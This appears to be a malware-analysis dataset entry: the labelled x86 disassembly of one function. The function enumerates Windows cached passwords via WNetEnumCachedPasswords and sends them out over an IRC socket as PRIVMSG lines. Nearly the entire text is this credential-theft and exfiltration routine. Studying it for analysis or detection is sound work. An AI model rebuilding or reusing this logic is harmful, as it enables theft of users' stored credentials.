Function at 0x40804c
Capabilities:
Send data
Send data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x8c0
mov ebx, ecx
movdqu xmm0, xmmword [0x4253c0]
movups xmmword [ebp - 0x895], xmm0
mov dword [ebp - 0x886], 0x6f777373
mov dword [ebp - 0x882], 0x736472
mov dword [esp], str.MPR.DLL
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [esp], 0x10000
call sym._malloc
mov dword [ebp - 0x8a4], eax
mov dword [ebp - 0x8a0], 0x10000
mov dword [ebp - 0x89c], 0
mov dword [esp + 4], str.WNetEnumCachedPasswords
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469884], eax
mov eax, dword [0x469884]
test eax, eax
jne 0x4080f0
mov eax, 1
jmp 0x4082c9
mov eax, dword [0x469884]
lea edx, [ebp - 0x8a4]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], sym._AddPass_8
mov dword [esp + 8], 0xff
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 4], 0
je 0x40815b
lea eax, [ebp - 0x895]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s_n
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._sprintf
jmp 0x40817b
lea eax, [ebp - 0x895]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424bf2
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x87e]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
add dword [ebp - 0xc], eax
mov dword [esp + 8], 0x866
mov dword [esp + 4], 0
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._memset
cmp dword [ebx + 4], 0
je 0x408237
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s__s_n
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._sprintf
jmp 0x40825b
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s_n_r
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x87e]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x87e]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp dword [ebx + 4], 0
je 0x4082a6
mov eax, dword [0x41e084]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x4081ae
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret